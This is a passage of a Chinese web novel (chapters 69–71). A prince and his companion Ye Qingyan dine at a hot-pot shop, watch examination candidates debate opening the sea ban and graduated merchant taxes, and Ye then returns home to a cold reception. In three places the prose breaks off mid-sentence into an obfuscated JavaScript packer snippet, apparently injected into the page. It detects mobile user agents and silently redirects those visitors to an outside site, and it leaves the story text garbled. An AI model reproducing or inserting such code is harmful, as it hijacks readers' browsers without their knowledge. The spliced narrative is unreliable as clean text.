“殿……”叶青言开口即收,而后向人走去,欣喜道,“您怎么在这?”声音清清朗朗,如和风入怀。 “我来这接你。”林翊笑回。 一问一答,简单而利落。 叶青言没有问林翊怎么会知晓自己的行踪。 林翊也没有解释自己为什么会这时等候在这儿。 因为不必去问,相伴多年,他们自有默契。 叶青言是林翊亲自相中的伴读,他将她看的极重,从幼年相伴至今,她已不仅仅只是一位伴读,更是一位知己、一位战友、一位灵魂的守护者,她凭借自己的智慧、勇气和仁德,占据了林翊心中最无可替代的地位,他对她,爱得深邃。 而林翊之于叶青言,是必须紧紧抓在手中的主君,是知音,是伯乐,是实现理想路上的最大靠山,她对他,爱得高尚。 二人之情,差之一词,谬之千里,结果更是截然相悖。 但所幸他们都还年少。 他们一个沉稳老成,一个意气昂扬,但到底都还是少年。 少年人最是热忱,他们或许过于热血,有时又天真地分不清楚心中感情,但和那些久经风雨的长辈们相比,他们的思想要简单很多,相处起来也要简单很多。 起码现在的叶青言并没有往深处去想,她只知自己和殿下是一个整体,两人必须同心才能一直向前,就像他们幼时那样,一朝相遇,便毫无保留,一路共同成长,朝夕相伴,坐而论道,起而行之,倾盖如故。 初春犹寒,晚风轻拂,四周有灯火不断被点亮。 最初的照面过后,林翊开始认真地打量起叶青言的变化来,近半年未见,她似乎长高了些,虽依旧清瘦,却能从她站立的姿势中看出她并不孱弱。 她就这样静静地立在自己身前,微仰着脸,林翊只消垂眸便能对上她的眼睛,她的目光还是那样的宁定,却比离京的时候多了一抹光华。 林翊一眨不眨地看着,那光华不知怎地,在他眼里竟亮过了天光,这一瞬间,林翊感觉自己的心脏,似乎也如四下燃起的灯火一般,迅速而又毫无规律地,砰砰砰地,跳动起来。 叶青言此时的眼睛是真得很亮。 这并不是说她以前的眼睛就不亮了。 以前她的眼睛也很亮,但那是一种清澈的亮,现在她眼睛里的明亮,除了清澈,还多出了一道锋利的意味。 这一抹锋利是即便叶青言再怎么温和微笑也没有办法掩住的锋利。 街巷嘈杂,有食物的香气随风而至。 “要先回国公府吗?还是先去用膳?”林翊问道。 叶青言想了想,道:“有些饿了,咱们先去吃饭吧,我记得这附近有家很不错的铁锅炖骨头?” “你说得可是淮之曾经带我们来过的那家?” “对,就是那家。” “那家的炖骨头确实不错。”林翊点头赞同,“走吧。”说着,他朝叶青言伸出了手。 看着伸到眼前的大手,未及细想,叶青言便将怀里一直抱着的梅花盆栽递了过去。 林翊很自然地接过。 不需要言语,连眼神都不需要,一递一接的动作十分自然,仿佛已经做过了无数次。 这样的动作他们也确实做过了无数次——在南苑学宫,在庆宁宫,在国公府,在京城的各个角落……当然,大部分时候都是叶青言从林翊的手里拿东西,但当叶青言拿久了的时候,林翊便会从她的手里再接回来拿着。 眼下这盆梅花盆栽,叶青言已拿了许久。 “怎么会想到抱着个盆栽回来?”闻着空气里隐隐散出的清冽梅香,林翊好奇问道。 叶青言侧头看了眼依然怒放的骨里红梅,视线上移,落在林翊的脸上,笑言道:“这是我给殿下您的新年礼物。” 林翊一怔,睫毛轻眨,然后笑了起来:“江南无所有,聊增一枝春……将春天一路从江南运送至京城,你有心了。”微顿了顿,林翊沉声道,“我很喜欢。” 说最后这话的时候,林翊嘴角笑意愈甚,眼中更是透出极亮的光彩来,让人一看就知他此刻心情极佳。 叶青言有些讶异于对方的过分高兴,但也没有多想,且她在这方面比较迟钝,当然也想不到让林翊如此高兴的真正原因。 将梅花盆栽与叶青言的随身行李一并交给了不远处随行的护卫后,林翊便带着叶青言往铁锅炖骨头所在的永定街走去。离开前,他还特地叮嘱护卫们务必小心放拿,不能伤了梅花分毫。 叶青言好笑地在旁边看着。 打发走了护卫们,两人并肩朝着一条小巷里走去,他们边走边聊,可直到走出小巷,也没有看到哪怕一家的铁锅炖骨头。 他们怀疑是自己看漏了,便又折回再看了一次。 巷口处,林叶两人面面相觑。 林翊眨了眨眼:“难道是我们记错了,那家店其实并不在这条巷子?” 叶青言摇头:“应该不会,我记得那家店就在永定街上,应该是关门了。” 半年多的时间,之于朝堂或许改变不了什么,但要改变一条街巷上的店铺却是非常容易的。 永定街现在最出名的已经不是铁锅炖骨头,而是拨霞供。 短短的巷子里,便有五家拨霞供,店铺外面的幌子上都写着正宗温陵拨霞供,就是不知究竟哪家才是最正宗的。 由食物香气转化出的热雾,不断地从那些店面里往外溢着,混着极致浓郁的肉香,在寒冷的夜里尤为诱人。 林翊看向叶青言,问:“要不然就在这儿吃拨霞供?还是阿言你想去别的地方?” “就在这里吧,味道闻着很不错。” 林翊点了点头。 两人择了家看着还算干净的店面走进去。 骤然从寒冷的街巷走入温暖的店铺,叶青言感到一阵通畅。 店铺里食客不少,熙熙攘攘,嘈杂不休,因着会试将近,乍眼望去,能看到不少书生打扮的食客在那里清谈辩论。 见有顾客上门,店铺老板忙迎上前来,脸上堆着笑容问道:“二位客人想吃些什么?小店的拨霞供除了新鲜处理的兔肉外还有好些其他配菜,诸如肉片、鱼片,新鲜的野菜,还有山菌,萝卜片等等,都是新鲜上好的食材。” 林翊望向坐在对面的叶青言,想要听听她的意思。叶青言自然没有意见,林翊便随着两人的喜好点了菜。 老板是个极干脆利落的人,当即就退下去准备,中途还主动替两人添了几碟免费的小菜和茶水。 “此番南下,阿言可有什么感触?”林翊接过叶青言递来的热茶,轻抿一口,笑问道。 “南方富庶,又民风开放,各种景观也与北面迥然相异,我此一行,受益颇多。”叶青言说道,随后她将自己此番南下的见闻都同林翊说了一遍。 当然,诸如桃源村差点被劫,保定府路遇山匪等事,叶青言并没有在此时道出,店铺里鱼龙混杂,并不是谈事的地方。 从九月中旬南下至今,这个故事看似有些长,讲完却不需要太长的时间,就连他们所点的菜品都还没有端上,叶青言就讲完了全部。 叶青言讲述的时候,店铺内有一桌都是书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“正宗温陵拨霞供,二位慢用。” 正巧这时,店铺老板端着一份热腾腾的兔肉涮锅上前,随后各色配菜也被送了上来。 两人之间的暧昧气氛当即被老板打破,叶青言也莫名松了口气。 菜式上齐,二人开始用餐。 不知是饿了,还是兔肉太香,吃起来太麻烦的缘故,林翊和叶青言很长时间都没有再说话。 安静的角落里只能听到涮锅沸腾的嘟嘟声和碗筷偶尔碰到的声音,以及不时传来的书生们的争论声。 叶青言边吃,边听着旁边传来的争论,不知不觉就忘记刚刚发生的事情。 不知道过了多长时间,林翊忍不住抬头向对面望去。 发现对方竖着耳朵,正旁听的起劲,完全没半点受自己刚刚言语影响的样子。 “……”林翊差点没被气笑,没忍住恶狠狠地瞪着一旁正激情演讲的书生一眼。 那书生正说到兴头,突感背后一阵寒凉,下意识顿声回头。 咦?身后没有窗户啊,那我怎么突然觉得有风,难道是我衣服穿少了?不应该啊。 “少则兄,开放海禁后倭寇会如何?你倒是继续说啊。”旁边有人见他突然顿声,忙催促道。 “哦,对对对,……”被叫作少则的男子闻言回过神来,继续侃侃而谈。 叶青言仍旧听得津津有味,直看得林翊一阵气闷。 罢了,她听她的?我看我看的,也没什么不妥。 叶青言低着头,小心翼翼地咬着兔骨上的肉丝,模样瞧着很是可爱。 野蔌山肴,竟被她吃出了秀气的感觉,只她虽吃得秀气,速度却一点不慢,没过多长时间,身前的桌上就堆满了极干净的骨头。 吃完了汤底的兔骨,便可开始涮肉,兔肉片在热汤中翻滚,色泽宛如云霞,美不胜收,“拨霞供”之名可谓相得益彰。 涮锅里生起的热雾,仿佛江南的烟雪与雨雾,叶青言的小脸在雾的那边,秀丽无比,仿佛如画。 阿言可真好看啊。 看着看着,林翊突然生出这样的感叹。 半年不见,她似乎比以前更加秀气了…… 察觉到林翊的目光,叶青言抬头望了过去,问道:“您怎么不吃了?是不合胃口吗?” “噢,不是,我吃的。”林翊说着,默默低头吃了起来。 69. 书生意气 叶青言两人用餐到中途,便听得隔壁几桌的辩论之声越来越大,二人连带食铺里的其他食客也都看了过去。 “简直一派胡言!” 出言呵斥的那人看着约莫三十上下,一身穿着方正严谨,举手投足方正严谨,就连脸上的表情也是五缕长须,方正严谨,一看便是那种容不得有人破坏规矩的古板书生。 果然便听到他言:“开放海禁,加增商税,简直胡闹,禁海锁国,这是太祖时候就定下的规矩,是祖制,朝廷重开海禁,这是在违反祖制!如此有悖祖宗家法,长久下去,恐人心难安。” 此话一落,便又有一人插嘴,神情颇有点不以为然:“戴兄这话未免危言耸听,要知道我朝虽以仁孝治天下,却也并非一味固步自封,不说先帝力排众议重用干吏稳定朝局,进而诞生了诸如槐青居士陈宴左等闻名天下的贤臣。今上登基之后,更是直接重启科举,为大庆各地输送了不知多少的地方能臣,无论是重用官吏还是重启科举都是违反祖制之事,依戴兄之言,那我等何必还要进京参加科考,不如回家种地。” 那被称作戴兄的闻言面色一凌,厉喝道:“此二利国良策岂能与开放海禁一概而论?禁海可是太祖时期就定下的国策,科举百年前才被英宗所废,英宗怎能比肩太祖!” 听他这样一说,插话学子面色一沉,虽依旧不服,却是不敢多言。 “朝廷此举是全然不顾民生困苦,不把沿海百姓的生死当一回事!”那戴姓书生见状颇为自得,继续激情昂扬道,“当年太祖为何要实行海禁国策?还不是因为倭寇扰边,沿海百姓不断被蛮夷屠杀掳掠?太祖如此用心良苦,吾等后辈却不能承其意志,实在可悲!” “仲甫兄慎言!”这话实属太过,当即便有邻桌的其他书生开口劝诫,“本朝虽言论自由,今上更是广开言路,但也由不得你如此大放厥词。” 那戴姓书生,也就是戴仲甫闻言也不生气,依旧侃侃言道:“在下只是痛心,你莫要故意曲解。” 戴仲甫边说,还边朝着皇宫方向拱了拱手,“今上励精图治,广开言路,断不会禁止民众讨论新政。开放海禁,实在有悖祖宗家法,长久下去,恐蛮夷势力不断深入,进而引起秩序动荡,人心惶惶之下,朝廷焉能久安?” 事实上,有这样想法的远不止眼前这戴仲甫一人,再加之时下民间言论自由,因此觉得开放海禁有失祖宗法度的文人极多,从而形成了一股不小的舆论。 掌握庆朝舆论动向的基本都是十年寒窗的读书人,这些人自诩清高,不齿与商人蛮夷为伍,自然不会赞同朝廷开放海禁,放外邦蛮人入关。 尤记得嘉和五年的时候,广州知府便上折提议放开海禁,朝臣为此吵得不可开交,许多人反对放开海禁,说这是祖宗规矩,不可更变,但也有部分官员认为此议可行,纷纷出言表示赞成,双方僵持不下,最后是嘉和帝圣心独裁,以广州府为试点,试验放开海禁之利弊。 经过三年的试验,广州府的经济得以飞速发展,其繁华不下于京城苏杭等地,船只往来无数,各色货物之多,歌舞之盛,比之秦淮河畔还要热闹几分。 不仅如此,过去的三年,单单税收,广州府就上交了将近百万两白银每年,且还呈逐年增加趋势。 便是因此,当两部尚书再次提起开放海禁之事时,朝中有异议者寥寥,官员们大都持默认姿态,即便没有出列赞同,也没有表示反对。 毕竟到手的可都是银子啊,是实打实的利益。 当然,也依然还有少部分不为财帛所动的迂腐官员始终坚持祖制,不赞成开放海禁。 最有意思的是宰辅高旭对于新政的态度,他虽然未在朝上言明反对,却在提议通过后上奏称病。 此举摆明了是对新政不满,却无奈大势所趋。高旭这一举措,让他赢得了不少读书人的推崇。 “大谬!戴兄此言大谬!”这时又有一名学子拍桌而起,他拍桌不是因为发怒,而是为了给自己下面的言论作铺垫,果然他这一下便吸引了不少注意。 学子环顾在场众人,最后将目光落在戴仲甫身上,言道:“当年太祖皇帝为何罢市舶司禁海?皆因当时前朝余党未灭,司马氏余孽不仅不顺应天意、弃暗投明,反而辗转勾结倭寇出没海上为患,太祖彼时禁海,乃形势所迫。时移世易,如今乱党尽除,扰边的也只有小股倭寇,如何不能开放海禁,予民福利?至于你所担心的夷人入关导致秩序动荡更是无稽之谈,我泱泱天朝何惧文化碰撞?孔圣有云:三人行,必有我师焉;择其善者而从之,其不善者而改之。与其固步自封,不如促进交流,引进对方的先进技术,以强大自身!”? 叶青言听得微微点头,能够看到这些方面,说明这人已经跳出固有的儒家思维,假以时日,说不定能成大器。 “与夷人交流学习?李邦宴你……你……你可知自己在说什么!”就在叶青言沉吟之际,戴仲甫怒而斥道,“夷人所有,都是些下九流的工匠技艺,如何能与我大庆的儒家正统相比!” 李邦彦,也就是那名学子被话这说得一愣,作为自幼便接受儒家正统思想熏陶的读书人,他自然说不出工匠技艺能与儒家正统相比的话来。 万般皆下品,惟有读书高,这是时下百姓最普遍的认知,也是寒窗苦读学子们的最大依仗。 见这名叫李邦彦的学子无言,叶青言同林翊对视了一眼,心下微微叹息。经过千百年的沉淀,儒家思想已深入人心,这不是不好,一种学说的盛行,自然有它的可取之处,可若一条路子走到黑,难免就会失之偏狭,唯我独尊久了,便会失了进取的锐志。 当下儒学便是如此。 就在李邦彦哑口无言之际,戴仲甫继续道:“即便你说的再多,也改变不了如今东南沿海一带依然倭寇横行的事实,此时开放海禁,将这些百姓的生死至于何地?” 叶青言再次看向林翊。 林翊微一点头。 叶青言顺势站起,娓娓说道:“士农工商四民者,国之柱石也,既都为柱石,便少了谁都不行,就好比有人说农民是泥腿子,可没有了泥腿子,我们如何能吃上粮食?说商人是投机取巧之辈,满是铜臭味,可如今我们常去的酒楼、茶楼,便是眼下这间食谱,哪个不是商人开的?若没有工匠做出锅碗瓢盆,难道咱们还得回归原始,用手抓着吃饭不成?” 叶青言这话说得幽默,在场众人听罢,不由都笑了起来,只除了戴仲甫例外。 叶青言不着痕迹地扫视在场众人,而后拱了拱手:“方才听诸位谈论新政,各抒己见,有理有据,在下不才,忍不住也发表了些看法,还望诸位勿怪。” 众人闻言,纷纷表示不会见怪。 叶青言再次拱手表谢,而后微笑地着看向戴仲甫:“至于兄台所言的,如今依旧辗转东南的小股倭寇,也并非不能解决。” “哦?”戴仲甫本就因为被叶青言抢了风头而有些不快,闻言傲然道,“足下有何高见?不妨直言。” 在场其他人都听出他语气里的敌意,不由都朝他看了过去,戴仲甫也意识到了自己的急躁,立时闭口不言。 其实这也不能怪他,所谓物以类聚人以群分,在场几人,都是这次会试的大热门考生,不说一甲及第,上榜基本无忧,若他能凭此在众人面前立下威信,那等以后入了仕途,自然也能成为同科里的群龙之首。可眼看他就要辩赢李邦彦达成目的,突然冒出个乳臭未干的小子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249760|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任谁也受不住脾气。 叶青言却只是笑笑,仿佛没有感受到对方的敌意一般,不疾不徐道:“嘉和五年朝廷在广州府开设港口,仅仅三年,单只税收一项,朝廷便可获利百万两白银每年,而大庆的商税税率是三十税一。” 迎着众人惊诧的目光,叶青言缓缓再道:“如此惊人的税额,可见商人们从海贸中获得的收益之巨大,此前朝廷禁海,等同断了海商们的财路,断人前财无异杀人父母,如今辗转东南的倭寇,不少都与内陆的豪强商贾勾结,只为攫取非法贸易所带的巨额利润,究其根底,还是在于禁海不开,所以海禁一日不开,倭寇纵然一时被打退,总有卷土重来的时候。” 戴仲甫上下打量了叶青言一番,不屑道:“那照你的意思,只要开了海禁,就不用打倭寇了,他们会自己跑掉?” “当然不是,是要双管齐下,倭寇不仅要打,还要狠狠地打,打到他们不敢造次,而海禁也要开,对于那些与倭寇勾结的商户更要狠狠打击,以儆效尤,如此,其他商户才不敢再铤而走险,进而规规矩矩地按照朝廷的要求来做生意。” 顿了顿,叶青言状似无意地朝林翊方向扫了一眼,继续说道:“当今二殿下就曾在朝会上言道,欲强大庆,必先富民,欲富民生,必先开海,欲开海禁,必先强水师,便是此理。” 林翊看着叶青言,只觉心头一片温暖,萦绕周身多日的阴霾,俱都烟消云散了去。是了,也只有阿言,才能这样懂他, “妙,甚妙!”那名叫李邦彦的学子,听了叶青言的话眼睛一亮,抚掌大喝道,“在下李邦彦,表字少则,不知兄台如何称呼?” “叶青言,冒昧插话,还请见谅。” “叶兄客气了,我等本是闲谈,叶兄愿意加入,欢迎之至。” 与李邦彦同桌的其他几人见状,纷纷出言客套,与众人相互攀谈了数句,叶青言这才回位落座。 屋里众人顺着叶青言坐下的方向看了林翊一眼,见对方眼神凌厉,气度逼人,一时有些怯场,故而便没有再继续同叶青言攀谈。 气氛一时有些凝滞,但文人相轻,众人很快又聊了起来,大家聊着聊着,难免又绕回原来的话题之上。 戴仲甫始终坚持己见,认为开放海禁弊大于利。 “规矩是死的,人是活的,上有政策,下有对策,叶兄的想法虽好,可商人一贯重利,就怕到时仍存私心,依我看,还是一劳永逸莫要放开海禁的好。” 叶青言还没有开口,就听李邦彦率先道:“戴兄此言不对,任何政令都有其不足之处,岂能如此就一刀切了,那朝廷还要官员何用?要我等何用?为官者要做的是为民谋福,所以纵然政策有所缺陷,也要徐徐改之,而不是全盘否定。” “李兄此言差异,就是闭关锁海,咱们大庆还不是持续了数百年之久,今上登基之后,励精图治,时局更是蒸蒸日上,足可说明太祖之远见,朝廷实不该贸然违反祖制。” “欲与民富裕,必须开放海禁!” “民富了,朝廷如何管理?百姓吃饱了,想着造反又当如何?” “谬论,大大的谬论!谁说的百姓吃饱了就会造反?” “这还需要说,此乃古来默认之规律!” “简直无稽之谈。” …… 随着越来越多的学子加入探讨,食铺里的气氛再次变得热闹起来。 为了能清楚地听到彼此的声音,叶青言和林翊两人也从相对而坐改成了并排而坐。 面前的锅炉还在不断地生出热雾。 这些混着肉香的热雾顺着屋檐的空隙缓慢地向上攀升,然后被空隙间的夜风切割成无数缕如烟般的丝,最后随风而散。 70. 第 70 章 看到那些书生们争得脸红脖子粗却仍旧不亦乐乎的模样,林翊摇头低叹:“如此于国有益之举,却被这些书生当成谈资,以祖宗家法处处贬之,当代儒宗当真害人不浅。” 叶青言想了想,说道:“儒家讲究以仁孝治天下,要求儒生们时时注意自身修养,修身齐家治国平天下,这本并无过错,只是他们大多太过于理想主义,只知一味地遵从圣人言论,幻想以德、以礼便能治理国家,口口声声周王如何如何,可周朝奠定了周礼,不也礼崩乐坏,分崩离析。” 两人虽依旧坐在角落,可因为叶青言刚刚对众人所讲的那一番话,他们这个角落已不再熟视无睹,不时就会有人将目光投放过来,所以叶青言说这段话的时候,身体下意识就往林翊方向靠近了一些。 刻意压低的话语,就好似贴着嘴唇般拂过林翊的耳际,带起一阵酥酥麻麻之感,林翊的喉结滚动了一下,随即又不着痕迹地垂下了眼眸。 “确实如此。”努力稳下心中悸动,林翊缓声说道,“自汉武帝罢黜百家,独尊儒术至今,已然过去千年时光,这期间经历过数个朝代,这些朝代地运转,看似是以德、以礼的儒家思想为主,然纵观历朝历代,无不制定了律法。无论是汉律,还是唐律,都是起了明令在先,规范言行的作用,父……陛下重启科举,更是增加了判语五条,这些个书生竟还没看出律法之于朝廷的重要性,其政治敏感度可见一般。” 这并非因为他们政治敏感度差。 听了林翊的话语,叶青言脑海立时蹦出这样一句话来。 “您可知这是为何?”犹豫半晌,叶青言还是问了出来。 林翊看向叶青言,叶青言微侧着脸,静静地与他对视。 两人之间的气氛顿时就变得有些沉重起来。 隔着氤氲的水雾,林翊定定看着叶青言的眼睛,不需要言语,只是看着她眼睛里那一瞬而过的迟疑,林翊便知她在想些什么,平静说道:“你我之间,有何事不能言?” 这句话很平实,甚至有些冲,叶青言听罢却是一怔,然后她笑了起来,眉目柔和,口中却是大胆言道:“因为这些律法,通常都只治民不治官,便是秀才、举人也有优待,律法对他们不起作用,他们自然也感受不到法律的重要性。” 林翊一直都知道叶青言聪明,却没想到她的眼光竟也敏锐至此,一语便道破了如今律法的不足之处。 现有的律法对朝廷官员不起作用这事,林翊是最近才深有体会的。 自生辰宴后,他便被嘉和帝指派到了刑部历练,刑部主管刑罚,是大庆律法得直接执行部门。 林翊在刑部历练其间见识了很多,大庆现有律法不仅对朝廷官员无用,甚至只要家中有一人有官衔品阶在身,所有沾亲带故的亲戚,就都能鸡犬升天,不受律法管辖。 沉吟良久,林翊缓道:“若能制定一部专门针对官员的律法……” “可以有,但不是现在。” “为何?” “还不是时候。”微顿了顿,想到对方刚刚所说的“你我之间何事不能言”的话语,叶青言说道,“因为皇权还不够稳固。” 此言出口,之后的话便没那么难以言说了。 叶青言放缓了声音,轻言细语再道:“自汉以来,天家与士大夫共治天下已成了政治惯性,以士大夫为主的官宦们,大都高高在上,不知民间疾苦,他们认为贵族与贫民不是一种人,甚至潜意识觉得民穷民困,是因为人民不够努力,而他们的奢靡浪费,是身为贵族应该有的享受,那是他们的先辈祖宗为他们所创下的基业,再加上眼下贵族、官僚依然掌握着朝廷足够的话语权。当此之时,若是出台了这样一部约束他们的律法,皇权便会与支持皇权的士绅阶级相对立,在皇权还没有足够稳固的情况下,极有可能会影响皇权权威,进而造成秩序动荡。” 说到这里,叶青言郑重地看着林翊,人也稍稍往前凑了一些,暗哑低沉的嗓音,一字一句跳入林翊耳中:“皇权统治,儒家思想中的礼、孝都是必不可少的手段,眼下只有我两便罢,人前您可莫要这般轻视儒学。” 我两二字听的林翊心神一荡,他下意识握住叶青言放在桌下的手,笑道:“我知道,这些话我只会跟你说。”略微一顿,林翊再道,“连淮之也不说。” 想到沈昭若是听了林翊这一番言论后可能会出现的表情,叶青言没忍住笑了起来。 “我好久没有联系淮之了,也不知他如今怎样,他上回还写信将我好一顿骂。” “他骂你?” 叶青言点头,无奈道:“他写信说我只知给您传递消息,也不多给他写封信,在那不平呢。” 林翊闻言,嘴角微不可查地扬了扬,口中却不甚在意说道:“真是幼稚。”心下却想,就你还想跟我比,在阿言心中,当然是我更加重要! “确实幼稚。”叶青言轻笑说道。 提及沈昭,两人间那稍显压抑的气氛,顿时便被驱散,如江上清风徐至。 食铺里的争论还在继续,但众人讨论的重心已然从开放海禁,转到了加增商税之上。 这是去岁年底,朝廷所下的最后一道政令。 在此令中,嘉和帝减免了大半的农税,也对商税的征收数额进行了更加细致的规定。 凡经营所得,五百两以下,无需征收商税。五百两到五千两,依照祖制,征收三十税一。五千两到五万两,则是征收二十五税一。五万两到一百万两,则是二十税一!一万两到一千万两,则需每十税一! “自太祖时起,朝廷就一直不与民争利,如此商税,岂不等同从百姓手中抢钱!” “不错,朝廷如此税收,毫无疑问是将百姓往绝路上逼!” “呵,百姓?哪个百姓能年入五千万?能有此收入的无非是些士绅豪强,他们的银子已经够多了,多交一些又如何?五百两以下可免征商税,朝廷此举分明是在为普通百姓谋福!” “对对对,不仅如此,朝廷还减免了农税,此乃仁政,陛下英明!” “农民无钱,商人富有,本该多交,而不是一味的压榨农民!” “凭什么?难道商人就活该被压迫盘剥?士农工商自古如是,农只在士之后,地位与身份极高,自然是应该承担更多!” “农民地位高?你要不听听自己在说什么?商人有钱与氏族相互勾结的例子,我大庆这数百年还少见吗?” “不错,陛下此令所针对的明显是世家大族,普通商人哪里能年入五千两?” “世家大族就活该多给钱?” “难道不该?” “众位冷静,今上大才,所行政令无不从最底层百姓出发,依我看啊,这士农工商的阶级分类早晚也是要打破的。” “这不可能!千年传统,便是陛下也不能轻易改之。” …… 许是饮了酒的缘故,学子们的争论渐渐变得激烈起来,声音越来越大。 便是店铺老板直接出面打圆场也没有将他们安抚下来。 就在食铺老板急得不知如何是好的时候,李邦彦突然转头看向叶青言,问道:“叶兄,你有何看法?” 叶青言闻声抬头,她先是看了眼急得团团转的食铺老板,而后才转眸望向李邦彦,说道:“看法没有,倒是有点感触,诸位不妨一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254042|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。无论是开放海禁还是变更税收都是大事,对这些政令表示在意的,远不止在座诸位,如今举朝上下都在关注这些政令,那诸位以为这次会试的题目,会不会也与此有关?” 叶青言说着,放下手中茶杯,视线缓缓在众人身上扫过:“这是一个很值得思考的问题,不是吗?” 众人辩归辩,但都没想到这个方面,被叶青言这样一提醒,众人面色微凛,无不重视起来。 林翊听着叶青言的话语,不由微露笑意。还得是阿言啊,仅用一句话就能让这些聒噪的书生们闭嘴。 事涉科考,众人也顾不得其他,不少人纷纷起身告辞。 李邦彦等几人离开前,特地上前与叶青言道别,他们还问了叶青言的住址,意欲之后拜会。 叶青言道自己是在亲戚家中借住,对方家规森严,不便招待,反而问李邦彦等人要了住址,约好了日后空闲了在上门拜访。 一众学子先后离开,食铺里顿时安静下来。 老板感激得连连对叶青言道谢,还特意给送了壶上好的状元红来。 “总算是清静了。”林翊说道。 叶青言也很无奈,百年来儒家思想一直作为正统,深入人心,现在的学术之争就像小孩子在过家家一样,很难碰撞出新的火花。 也不知大庆朝何时也能出几个如朱熹、程灏那样开宗立派的思想家,虽然叶青言对他们的朱程理学并不全然赞同。 程朱理学认为“理”是宇宙万物的本原,强调父子有序、君臣有尊,存天理灭人欲,推崇三纲五常。 但叶青言却觉得“天理”存在于人欲之中,人不能离开人欲而空谈“天理”。 这样的观点对出身簪缨的叶青言而言,不可谓不大逆不道,簪缨世家是这世间最讲究纲常伦理的地方。 看着面前袅袅升起的水雾,叶青言突然有些庆幸,若非他们国公府里有个出身不显又爱找事的老太太,只怕她也无法跳出既定的圈子,而得到如今这番境遇。 想到这里,叶青言不再愁肠百结,她看着眼前水雾笑了起来。 “笑什么呢?”林翊见状问道。 叶青言摇了摇头,道:“高兴。” 想了想,她又道:“我想喝些酒。” 林翊闻言挑了挑眉,但他却没多问什么,直接拿起老板刚刚送来的状元红给叶青言面前的酒杯斟至七分满。 叶青言轻声致谢,伸手拿过林翊手里的酒壶,替他也将酒杯斟满:“这一杯我敬您。” 林翊不置可否。 两人同时将杯中酒饮尽。 林翊把玩着手中酒杯轻声问道:“那孤本,你可还喜欢?” “您所赠的,总是最合我的心意。”叶青言笑着说道。 林翊闻言心头一暖,只觉得这人一回来,那些萦绕在他周围的阴霾,就都烟消云散了。 阿言于他,似乎有股难言宁定意味。 林翊灼灼盯着自己的目光,让叶青言的呼吸忽地一滞,不觉垂下了眼,视线微垂,眼睫微颤。 忽然,叶青言以手掩唇,打了个嗝。 “喝得太急了。”她有些不好意思地解释道。 林翊笑着给涮了片肉到她碗里。 “慢慢喝,国公府那边我已经差人回去通知了。” “还是您想的周到。”叶青言看着林翊的眼睛,轻声说道,她出口的声音很平静,眼睛里的情绪却有些复杂,那些最深处的星光微微摇撼。 许是因为近乡情怯,叶青言有些还害怕回去国公府。她害怕看到无人相迎的府邸大门;害怕可能会听到的,来自母亲的,毫无关心的备考问询。 71. 第 71 章 无论叶青言再如何近乡情怯,也总还是要回家的。 辞别了林翊,叶青言回到成国公府。 如她所料想得一般,朱红色的大门前并无人候她归来。 倒是那几个守门的小厮得知自家少爷回来,欣喜得就要奔去后院通报,却被叶青言抬手拦了住。 从守门小厮手中取过一盏灯笼,叶青言径直走进了国公府大门。 前院西侧有一片松树林,茂密的松林在漆黑的夜色里显得尤为阴森,好在树枝上还挂着好些未化开的积雪,白色的雪团冲淡了不少阴森感觉。夜色深处,偶有几团光线闪过,那是正在前院巡逻的护卫们走过时候所留下的痕迹。 叶青言信步而走,很快就穿过垂花门来到后院。 进入后院,叶青言首先去了一趟宁晖堂,但她并未见到叶老太太。 许嬷嬷以老太太已经睡下为由将叶青言拦在了宁晖堂的院子里。 叶青言也没有多留,只在院子里行了一礼便转身离开。 见叶青言如此就要离开,许嬷嬷眉毛一挑便想呵斥,却被旁边的大丫鬟翠珠伸手拉了一把。 翠珠下手不重,只许嬷嬷当下正好想要上前呵斥,在一前一拉力道的冲击之下,许嬷嬷踉跄着退后了数步才堪堪稳住身形。 作为叶老太太跟前的红人,许嬷嬷在国公府地位超然,便是各房主子都得给她几分薄面,她显然没料到翠珠这个小丫头居然敢这时候朝自己伸手,一时有些呆滞。 便是这么一会儿的功夫,叶青言便走出了宁晖堂。 过了好长一会儿,许嬷嬷方才回过神来,厉声斥道:“翠珠你个死丫头,你是疯了不成?” “我今早在小厨房遇到倩姐姐了,是二夫人屋里的大丫鬟打发她去跑腿的。”翠珠没有回应许嬷嬷的怒火,反而没头没脑地说了这样一句话。 许嬷嬷听了也是一愣,跑腿是三等丫鬟才做的活计,怎么还指使上她家倩姐儿了? 翠珠口中的倩姐姐是许嬷嬷的孙女,如今在二夫人屋里当差,却不怎么得二夫人器重,故而迟迟没有被提拔成大丫鬟。 翠珠环顾四周,确认丫鬟婆子们都在远处,听不到她们此时的交谈,这才又对许嬷嬷道:“许嬷嬷,您年纪大了,只需好好跟着老太太便能颐养天年,可我们不同,我们还年轻,这偌大的国公府总有一天要交到大少爷的手里,还请您多为自己的子孙后代考虑。” 翠珠说罢,也不多留,当即便转身进了屋子。 许嬷愣愣站在原地,她这时才反应过来,虽然因着老太太的恩典,她的儿孙们在府里都有很好的去处,却都不怎么得主子们的器重。 连各房主子都认清了现状,知晓大少爷才是国公府将来的倚靠,她一个老仆又有什么资格跟未来的当家人叫板? 